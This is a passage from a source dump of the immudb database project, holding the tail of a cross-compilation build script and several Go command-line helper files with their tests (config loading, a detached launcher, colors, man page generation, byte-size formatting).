-o "/build/$NAME-linux-arm64`extension linux`" $PACK_RELPATH fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "mips64" ]); then if [ "$GO_VERSION" -lt 170 ]; then echo "Go version too low, skipping linux/mips64..." else echo "Compiling for linux/mips64..." CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 HOST=mips64-linux-gnuabi64 PREFIX=/usr/mips64-linux-gnuabi64 $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/mips64-linux-gnuabi64/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-mips64`extension linux`" $PACK_RELPATH fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "mips64le" ]); then if [ "$GO_VERSION" -lt 170 ]; then echo "Go version too low, skipping linux/mips64le..." else echo "Compiling for linux/mips64le..." CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 HOST=mips64el-linux-gnuabi64 PREFIX=/usr/mips64el-linux-gnuabi64 $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/mips64le-linux-gnuabi64/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64le CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64le CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-mips64le`extension linux`" $PACK_RELPATH fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "mips" ]); then if [ "$GO_VERSION" -lt 180 ]; then echo "Go version too low, skipping linux/mips..." else echo "Compiling for linux/mips..." CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 HOST=mips-linux-gnu PREFIX=/usr/mips-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/mips-linux-gnu/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 GOOS=linux GOARCH=mips CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 GOOS=linux GOARCH=mips CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-mips`extension linux`" $PACK_RELPATH fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "mipsle" ]); then if [ "$GO_VERSION" -lt 180 ]; then echo "Go version too low, skipping linux/mipsle..." else echo "Compiling for linux/mipsle..." CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 HOST=mipsel-linux-gnu PREFIX=/usr/mipsel-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/mipsle-linux-gnu/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 GOOS=linux GOARCH=mipsle CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 GOOS=linux GOARCH=mipsle CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-mipsle`extension linux`" $PACK_RELPATH fi fi if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "s390x" ]); then if [ "$GO_VERSION" -lt 170 ]; then echo "Go version too low, skipping linux/s390x..." else echo "Compiling for linux/s390x..." CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 HOST=s390x-linux-gnu PREFIX=/usr/s390x-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/s390x-linux-gnu/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 GOOS=linux GOARCH=s390x CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 GOOS=linux GOARCH=s390x CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-s390x`extension linux`" $PACK_RELPATH fi fi # Check and build for Windows targets if ([ $XGOOS == "." ] || [ $XGOOS == "linux" ]) && ([ $XGOARCH == "." ] || [ $XGOARCH == "ppc64le" ]); then if [ "$GO_VERSION" -lt 170 ]; then echo "Go version too low, skipping linux/powerpc64le..." else echo "Compiling for linux/ppc64le..." CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 HOST=ppc64le-linux-gnu PREFIX=/usr/ppc64le-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/ppc64le-linux-gnu/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 GOOS=linux GOARCH=ppc64le CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 GOOS=linux GOARCH=ppc64le CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-linux-ppc64le`extension linux`" $PACK_RELPATH fi fi if [ $XGOOS == "." ] || [[ $XGOOS == windows* ]]; then # Split the platform version and configure the Windows NT version PLATFORM=`echo $XGOOS | cut -d '-' -f 2` if [ "$PLATFORM" == "" ] || [ "$PLATFORM" == "." ] || [ "$PLATFORM" == "windows" ]; then PLATFORM=4.0 # Windows NT fi MAJOR=`echo $PLATFORM | cut -d '.' -f 1` if [ "${PLATFORM/.}" != "$PLATFORM" ] ; then MINOR=`echo $PLATFORM | cut -d '.' -f 2` fi CGO_NTDEF="-D_WIN32_WINNT=0x`printf "%02d" $MAJOR``printf "%02d" $MINOR`" # Build the requested windows binaries if [ $XGOARCH == "." ] || [ $XGOARCH == "amd64" ]; then echo "Compiling for windows-$PLATFORM/amd64..." CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix HOST=x86_64-w64-mingw32 PREFIX=/usr/x86_64-w64-mingw32 $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/x86_64-w64-mingw32/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_CFLAGS="$CGO_NTDEF" CGO_CXXFLAGS="$CGO_NTDEF" go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_CFLAGS="$CGO_NTDEF" CGO_CXXFLAGS="$CGO_NTDEF" go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $R $BM -o "/build/$NAME-windows-$PLATFORM-amd64$R`extension windows`" $PACK_RELPATH fi if [ $XGOARCH == "." ] || [ $XGOARCH == "386" ]; then echo "Compiling for windows-$PLATFORM/386..." CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix HOST=i686-w64-mingw32 PREFIX=/usr/i686-w64-mingw32 $BUILD_DEPS /deps ${DEPS_ARGS[@]} export PKG_CONFIG_PATH=/usr/i686-w64-mingw32/lib/pkgconfig if [[ "$USEMODULES" == false ]]; then CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_CFLAGS="$CGO_NTDEF" CGO_CXXFLAGS="$CGO_NTDEF" go get $V $X "${T[@]}" --ldflags="$V $LD" -d $PACK_RELPATH fi CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_CFLAGS="$CGO_NTDEF" CGO_CXXFLAGS="$CGO_NTDEF" go build $V $X $MOD "${T[@]}" --ldflags="$V $LD" $BM -o "/build/$NAME-windows-$PLATFORM-386`extension windows`" $PACK_RELPATH fi fi # Check and build for OSX targets if [ $XGOOS == "." ] || [[ $XGOOS == darwin* ]]; then # Split the platform version and configure the deployment target PLATFORM=`echo $XGOOS | cut -d '-' -f 2` if [ "$PLATFORM" == "" ] || [ "$PLATFORM" == "." ] || [ "$PLATFORM" == "darwin" ]; then PLATFORM=10.6 # OS X Snow Leopard fi export MACOSX_DEPLOYMENT_TARGET=$PLATFORM # Strip symbol table below Go 1.6 to prevent DWARF issues LDSTRIP="" if [ "$GO_VERSION" -lt 160 ]; then LDSTRIP="-s" fi # Build the requested darwin binaries if [ $XGOARCH == "." ] || [ $XGOARCH == "amd64" ]; then echo "Compiling for darwin-$PLATFORM/amd64..." CC=o64-clang CXX=o64-clang++ HOST=x86_64-apple-darwin15 PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]} if [[ "$USEMODULES" == false ]]; then CC=o64-clang CXX=o64-clang++ GOOS=darwin GOARCH=amd64 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$LDSTRIP $V $LD" -d $PACK_RELPATH fi CC=o64-clang CXX=o64-clang++ GOOS=darwin GOARCH=amd64 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$LDSTRIP $V $LD" $R $BM -o "/build/$NAME-darwin-$PLATFORM-amd64$R`extension darwin`" $PACK_RELPATH fi if [ $XGOARCH == "." ] || [ $XGOARCH == "386" ]; then echo "Compiling for darwin-$PLATFORM/386..." CC=o32-clang CXX=o32-clang++ HOST=i386-apple-darwin15 PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]} if [[ "$USEMODULES" == false ]]; then CC=o32-clang CXX=o32-clang++ GOOS=darwin GOARCH=386 CGO_ENABLED=1 go get $V $X "${T[@]}" --ldflags="$LDSTRIP $V $LD" -d $PACK_RELPATH fi CC=o32-clang CXX=o32-clang++ GOOS=darwin GOARCH=386 CGO_ENABLED=1 go build $V $X $MOD "${T[@]}" --ldflags="$LDSTRIP $V $LD" $BM -o "/build/$NAME-darwin-$PLATFORM-386`extension darwin`" $PACK_RELPATH fi # Remove any automatically injected deployment target vars unset MACOSX_DEPLOYMENT_TARGET fi done # Clean up any leftovers for subsequent build invocations echo "Cleaning up build environment..." rm -rf /deps for dir in `ls /usr/local`; do keep=0 # Check against original folder contents for old in $USR_LOCAL_CONTENTS; do if [ "$old" == "$dir" ]; then keep=1 fi done # Delete anything freshly generated if [ "$keep" == "0" ]; then rm -rf "/usr/local/$dir" fi done # Preserve parent folder permissions echo $(ls /build -lrta) cp -R /build/* /dist chown -R $(stat -c '%u:%g' /dist) /dist ================================================ FILE: cmd/cmdtest/random.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmdtest import ( "math/rand" "time" ) var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") func RandString() string { rand.Seed(time.Now().UnixNano()) b := make([]rune, 10) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) } ================================================ FILE: cmd/cmdtest/stdout_collector.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package cmdtest ... package cmdtest import ( "bytes" "io" "os" ) // StdOutCollector ... type StdOutCollector struct { CaptureStderr bool realStdOut *os.File fakeStdOutReader *os.File fakeStdOutWriter *os.File } // Start ... func (c *StdOutCollector) Start() error { // keep backup of the real stdout/stderr if !c.CaptureStderr { c.realStdOut = os.Stdout } else { c.realStdOut = os.Stderr } var err error c.fakeStdOutReader, c.fakeStdOutWriter, err = os.Pipe() if err != nil { return err } if !c.CaptureStderr { os.Stdout = c.fakeStdOutWriter } else { os.Stderr = c.fakeStdOutWriter } return nil } // Stop ... func (c *StdOutCollector) Stop() (string, error) { outC := make(chan string) outErr := make(chan error) // copy the output in a separate goroutine so printing can't block indefinitely go func() { var buf bytes.Buffer _, err := io.Copy(&buf, c.fakeStdOutReader) if err != nil { outErr <- err } outC <- buf.String() }() // back to normal state c.fakeStdOutWriter.Close() // restore the real stdout/stderr if !c.CaptureStderr { os.Stdout = c.realStdOut } else { os.Stderr = c.realStdOut } select { case out := <-outC: return out, nil case err := <-outErr: return "", err } } ================================================ FILE: cmd/docs/man/generate.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package man import ( "fmt" "os" "github.com/spf13/cobra" "github.com/spf13/cobra/doc" ) // Generate return command that generates man files for a specified command func Generate(cmd *cobra.Command, title string, defaultDir string) *cobra.Command { cmd.DisableAutoGenTag = false return &cobra.Command{ Use: "mangen [dir]", Short: "Generate man files in the specified directory", Hidden: true, Args: cobra.MinimumNArgs(0), RunE: func(mangenCmd *cobra.Command, args []string) (err error) { header := &doc.GenManHeader{ Title: title, Section: "1", } dir := defaultDir if len(args) > 0 { dir = args[0] } _ = os.Mkdir(dir, os.ModePerm) if err := doc.GenManTree(cmd, header, dir); err == nil { fmt.Printf("SUCCESS: man files generated in the %s directory\n", dir) } return err }, DisableAutoGenTag: false, } } ================================================ FILE: cmd/docs/man/generate_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package man import ( "io/ioutil" "path/filepath" "testing" "github.com/stretchr/testify/require" "github.com/spf13/cobra" ) func TestGenerate(t *testing.T) { rootCmd := &cobra.Command{ Use: "somecommand somearg1", Short: "somme command short description", Long: "some command long description", } dir := t.TempDir() cmd := Generate(rootCmd, rootCmd.Use, dir) cmd.SetArgs([]string{dir}) require.NoError(t, cmd.Execute()) bs, err := ioutil.ReadFile(filepath.Join(dir, "somecommand.1")) require.NoError(t, err) require.NotEmpty(t, bs) } ================================================ FILE: cmd/helper/color_unix.go ================================================ //go:build linux || darwin || freebsd // +build linux darwin freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "fmt" "io" ) // Reset resets the color var Reset = "\033[0m" // Red ... var Red = "\033[31m" // Green ... var Green = "\033[32m" // Yellow ... var Yellow = "\033[33m" // Blue ... var Blue = "\033[34m" // Purple ... var Purple = "\033[35m" // Cyan ... var Cyan = "\033[36m" // White ... var White = "\033[37m" // PrintfColorW ... func PrintfColorW(w io.Writer, color string, format string, args ...interface{}) { fmt.Fprintf(w, color+format+Reset, args...) } ================================================ FILE: cmd/helper/color_unix_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "bytes" "testing" ) func TestPrintfColorW(t *testing.T) { w := &bytes.Buffer{} PrintfColorW(w, Red, "test %d", 1) } ================================================ FILE: cmd/helper/color_windows.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "fmt" "io" ) // Reset resets the color var Reset = "\033[0m" // Red ... var Red = "\033[31m" // Green ... var Green = "\033[32m" // Yellow ... var Yellow = "\033[33m" // Blue ... var Blue = "\033[34m" // Purple ... var Purple = "\033[35m" // Cyan ... var Cyan = "\033[36m" // White ... var White = "\033[37m" func init() { Reset = "" Red = "" Green = "" Yellow = "" Blue = "" Purple = "" Cyan = "" White = "" } // PrintfColorW ... func PrintfColorW(w io.Writer, color string, format string, args ...interface{}) { fmt.Fprintf(w, color+format+Reset, args...) } ================================================ FILE: cmd/helper/config.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "os" "os/user" "strings" service "github.com/codenotary/immudb/cmd/immuclient/service/constants" "github.com/spf13/cobra" "github.com/spf13/viper" ) // Options cmd options type Config struct { Name string // default config file name CfgFn string // bind with flag config (config file submitted by user, it overrides default) } // Init initializes config func (c *Config) Init(name string) error { if c.CfgFn != "" { viper.SetConfigFile(c.CfgFn) } else { if user, err := user.Current(); err != nil { return err } else { viper.AddConfigPath(user.HomeDir) } viper.AddConfigPath("../src/configs") viper.AddConfigPath(os.Getenv("GOPATH") + "/src/configs") if path, _ := os.Executable(); path == service.ExecPath { viper.AddConfigPath("/etc/" + name) } viper.SetConfigName(name) } viper.SetEnvPrefix(strings.ToUpper(name)) viper.SetEnvKeyReplacer(strings.NewReplacer("-", "_")) viper.AutomaticEnv() if err := viper.ReadInConfig(); err == nil { c.CfgFn = viper.ConfigFileUsed() } else { return err } return nil } // LoadConfig loads the config file (if any) and initializes the config func (c *Config) LoadConfig(cmd *cobra.Command) (err error) { if c.CfgFn, err = cmd.Flags().GetString("config"); err != nil { return err } if err = c.Init(c.Name); err != nil { if !strings.Contains(err.Error(), "Not Found") { return err } } return nil } ================================================ FILE: cmd/helper/config_pathmanager_unix.go ================================================ //go:build linux || darwin || freebsd // +build linux darwin freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper // ResolvePath ... func ResolvePath(origPath string, parse bool) (finalPath string, err error) { return origPath, nil } ================================================ FILE: cmd/helper/config_pathmanager_windows.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "strings" "golang.org/x/sys/windows" ) // ResolvePath func ResolvePath(path string, quote bool) (finalPath string, err error) { var toReplace string var folderId *windows.KNOWNFOLDERID var token string if strings.Contains(path, "%programdata%") { toReplace = "%programdata%" folderId = windows.FOLDERID_ProgramData } if strings.Contains(path, "%programfile%") { toReplace = "%programfile%" folderId = windows.FOLDERID_ProgramFiles } if toReplace != "" { if token, err = windows.KnownFolderPath(folderId, windows.KF_FLAG_DEFAULT); err != nil { return "", err } if quote { token = strings.Replace(token, "\\", "\\\\", -1) } path = strings.Replace(path, toReplace, token, -1) } return path, nil } ================================================ FILE: cmd/helper/config_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "io/ioutil" "os" "os/user" "testing" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestOptions_InitConfig(t *testing.T) { input, _ := ioutil.ReadFile("../../test/immudb.toml") user, err := user.Current() require.NoError(t, err) fn := user.HomeDir + "/immudbtest9990.toml" _ = ioutil.WriteFile(fn, input, 0644) defer os.RemoveAll(fn) o := Config{} o.Init("test") address := viper.GetString("address") assert.NotNil(t, address) } func TestOptions_InitConfigWithCfFn(t *testing.T) { input, _ := ioutil.ReadFile("../../test/immudb.toml") fn := "/tmp/immudbtest9991.toml" _ = ioutil.WriteFile(fn, input, 0644) defer os.RemoveAll(fn) o := Config{ CfgFn: fn, } o.Init("test") address := viper.GetString("address") assert.NotNil(t, address) } func TestConfig_Load(t *testing.T) { input, _ := ioutil.ReadFile("../../test/immudb.toml") fn := "/tmp/immudbtest9991.toml" _ = ioutil.WriteFile(fn, input, 0644) defer os.RemoveAll(fn) o := Config{ CfgFn: fn, } o.Init("test") address := viper.GetString("address") assert.NotNil(t, address) cmd := cobra.Command{} cmd.Flags().StringVar(&o.CfgFn, "config", "", "config file") err := o.LoadConfig(&cmd) assert.NoError(t, err) } func TestConfig_LoadError(t *testing.T) { input, _ := ioutil.ReadFile("../../test/immudb.toml") fn := "/tmp/immudbtest9991.toml" _ = ioutil.WriteFile(fn, input, 0644) defer os.RemoveAll(fn) o := Config{ CfgFn: fn, } o.Init("test") address := viper.GetString("address") assert.NotNil(t, address) cmd := cobra.Command{} err := o.LoadConfig(&cmd) assert.Error(t, err) } func TestConfig_LoadError2(t *testing.T) { fn := "/tmp/immudbtest9991.toml" o := Config{ CfgFn: fn, } o.Init("test") address := viper.GetString("address") assert.NotNil(t, address) cmd := cobra.Command{} cmd.Flags().StringVar(&o.CfgFn, "config", "", "config file") err := o.LoadConfig(&cmd) assert.Error(t, err) } ================================================ FILE: cmd/helper/detached.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "fmt" "os" "os/exec" "path/filepath" "time" ) // DetachedFlag ... const DetachedFlag = "detached" // DetachedShortFlag ... const DetachedShortFlag = "d" type Execs interface { Command(name string, arg ...string) *exec.Cmd } type execs struct{} func (e execs) Command(name string, arg ...string) *exec.Cmd { return exec.Command(name, arg...) } type Plauncher interface { Detached() error } type plauncher struct { e Execs } func NewPlauncher() *plauncher { return &plauncher{execs{}} } // Detached launch command in background func (pl plauncher) Detached() error { var err error var executable string var args []string if executable, err = os.Executable(); err != nil { return err } for i, k := range os.Args { if k != "--"+DetachedFlag && k != "-"+DetachedShortFlag && i != 0 { args = append(args, k) } } cmd := pl.e.Command(executable, args...) cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr if err = cmd.Start(); err != nil { return err } time.Sleep(1 * time.Second) fmt.Fprintf( os.Stdout, "%s%s has been started with %sPID %d%s\n", Green, filepath.Base(executable), Blue, cmd.Process.Pid, Reset) return nil } ================================================ FILE: cmd/helper/detached_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "bytes" "os/exec" "strings" "testing" "github.com/stretchr/testify/assert" ) type execsmock struct{} func (e execsmock) Command(name string, arg ...string) *exec.Cmd { cmd := exec.Command("tr", "a-z", "A-Z") cmd.Stdin = strings.NewReader("some input") var out bytes.Buffer cmd.Stdout = &out return cmd } func TestDetached(t *testing.T) { pl := plauncher{execsmock{}} err := pl.Detached() assert.NoError(t, err) } func TestNewPlauncher(t *testing.T) { pl := NewPlauncher() assert.IsType(t, &plauncher{}, pl) } func TestExecs_Command(t *testing.T) { ex := execs{} c := ex.Command("tr", "a-z", "A-Z") assert.IsType(t, &exec.Cmd{}, c) } ================================================ FILE: cmd/helper/error.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package helper import ( "errors" "fmt" "os" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) var osexit = os.Exit // QuitToStdErr prints an error on stderr and closes func QuitToStdErr(msg interface{}) { _, _ = fmt.Fprintln(os.Stderr, msg) osexit(1) } // QuitWithUserError ... func QuitWithUserError(err error) { s, ok := status.FromError(err) if !ok { QuitToStdErr(err) } if s.Code() == codes.Unauthenticated { QuitToStdErr(errors.New("unauthenticated, please login")) } QuitToStdErr(err) } func OverrideQuitter(quitter func(int)) { osexit = quitter } func UnwrapMessage(msg interface{}) interface{} { if err, ok := msg.(error); ok { if statusErr, isStatusErr := status.FromError(err); isStatusErr { return statusErr.Message() } } return msg } ================================================ FILE: cmd/helper/size.go ================================================ package helper import ( "strconv" "strings" ) const ( Byte = 1 KiloByte = 1 << (10 * iota) MegaByte GigaByte TeraByte PetaByte ExaByte ) var unitMap = map[int]string{ Byte: "B", KiloByte: "KB", MegaByte: "MB", GigaByte: "GB", TeraByte: "TB", PetaByte: "PB", ExaByte: "EB", } func FormatByteSize(size uint64) string { u := getUnit(size) fsize := float64(size) / float64(u) if rounded := uint64(fsize + 0.05); rounded == 1024 { u = getUnit(1024 * uint64(u)) fsize = 1 } return strings.TrimSuffix(strconv.FormatFloat(fsize, 'f', 1, 64), ".0") + " " + unitMap[u] } func getUnit(size uint64) int { switch { case size >= ExaByte: return ExaByte case size >= PetaByte: return PetaByte case size >= TeraByte: return TeraByte case size >= GigaByte: return GigaByte case size >= MegaByte: return MegaByte case size >= KiloByte: return KiloByte } return Byte } ================================================ FILE: cmd/helper/size_test.go ================================================ package helper_test import ( "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/require" ) func TestFormatByteSize(t *testing.T) { require.Equal(t, "25 B", helper.FormatByteSize(25)) require.Equal(t, "10 KB", helper.FormatByteSize(size(10.0, helper.KiloByte))) require.Equal(t, "5.4 MB", helper.FormatByteSize(size(5.4, helper.MegaByte))) require.Equal(t, "11.8 GB", helper.FormatByteSize(size(11.8, helper.GigaByte))) require.Equal(t, "99.3 PB", helper.FormatByteSize(size(99.27, helper.PetaByte))) require.Equal(t, "1 EB", helper.FormatByteSize(size(1023.95, helper.PetaByte))) require.Equal(t, "2.3 EB", helper.FormatByteSize(size(2.3, 